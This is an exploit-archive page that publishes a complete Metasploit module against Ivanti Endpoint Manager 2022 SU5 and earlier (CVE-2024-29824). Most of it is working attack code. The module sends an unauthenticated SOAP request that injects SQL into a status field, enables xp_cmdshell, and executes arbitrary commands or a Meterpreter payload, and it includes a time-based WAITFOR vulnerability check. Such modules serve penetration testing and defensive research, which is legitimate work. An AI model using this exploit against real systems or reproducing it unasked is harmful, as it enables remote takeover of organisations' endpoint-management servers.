exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Ivanti EPM RecordGoodApp SQL Injection / Remote Code Execution

Ivanti EPM RecordGoodApp SQL Injection / Remote Code Execution
Posted Jul 9, 2024
Authored by Christophe de la Fuente, James Horseman | Site metasploit.com

Ivanti Endpoint Manager (EPM) 2022 SU5 and prior versions are susceptible to an unauthenticated SQL injection vulnerability which can be leveraged to achieve unauthenticated remote code execution.

tags | exploit, remote, code execution, sql injection
advisories | CVE-2024-29824
SHA-256 | afbe87d39c043c81d0f93f3553319f8d3bdf71f4fb0e22d349d23f26beab2503

Ivanti EPM RecordGoodApp SQL Injection / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

class IvantiEpmRequestError < StandardError; end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti EPM RecordGoodApp SQLi RCE',
'Description' => %q{
Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to unauthenticated SQL injection which can be leveraged to achieve unauthenticated remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'James Horseman', # original PoC, analysis
'Christophe De La Fuente' # Metasploit module
],
'References' => [
[ 'URL', 'https://forums.ivanti.com/s/article/Security-Advisory-May-2024'],
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-507'],
[ 'URL', 'https://github.com/horizon3ai/CVE-2024-29824'],
[ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/'],
[ 'CVE', '2024-29824']
],
'Platform' => ['windows'],
'Privileged' => true,
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2024-05-24',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
# MS SQL logs will contain evidence of `xp_cmdshell` being used
# Fetch payload cannot be deleted while a Meterpreter session is active
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI of the EPM Web Services', '/']),
OptInt.new('DELAY', [ true, 'The delay to detect if the target is vulnerable using time-based SQLi in second', 5])
]
)
end

def sqli_payload(cmd)
"';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell '#{cmd.encode(xml: :text)}'--"
end

def xml_payload(sqli)
<<~XML
<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<UpdateStatusEvents xmlns="http://tempuri.org/">
<deviceID>string</deviceID>
<actions>
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
<status>GoodApp=1|md5=#{sqli}</status>
</Action>
</actions>
</UpdateStatusEvents>
</soap12:Body>
</soap12:Envelope>
XML
end

def soap_request(sqli, timeout = 20)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'WSStatusEvents', 'EventHandler.asmx'),
'method' => 'POST',
'ctype' => 'application/soap+xml; charset="utf-8"',
'data' => xml_payload(sqli)
}, timeout)

raise IvantiEpmRequestError, 'Failed to send the SOAP request' unless res

res
end

def check
print_status("Checking if the target is vulnerable using time-based SQLi (delay=#{datastore['DELAY']})")

_res, elapsed1 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:0';select 1--") }
vprint_status("Baseline query elapsed time: #{elapsed1}")

_res, elapsed2 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:#{datastore['DELAY']}';select 2--") }
vprint_status("Delayed query elapsed time: #{elapsed2}")

if elapsed2.to_i > elapsed1.to_i && elapsed2 >= datastore['DELAY']
return CheckCode::Vulnerable('SQLi executed')
else
return CheckCode::Safe('SQLi not executed')
end
rescue IvantiEpmRequestError => e
return CheckCode::Unknown(e.to_s)
end

def exploit
soap_request(sqli_payload(payload.encoded), 1)
rescue IvantiEpmRequestError
# Expecting no response if an interactive payload such as Meterpreter is used
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close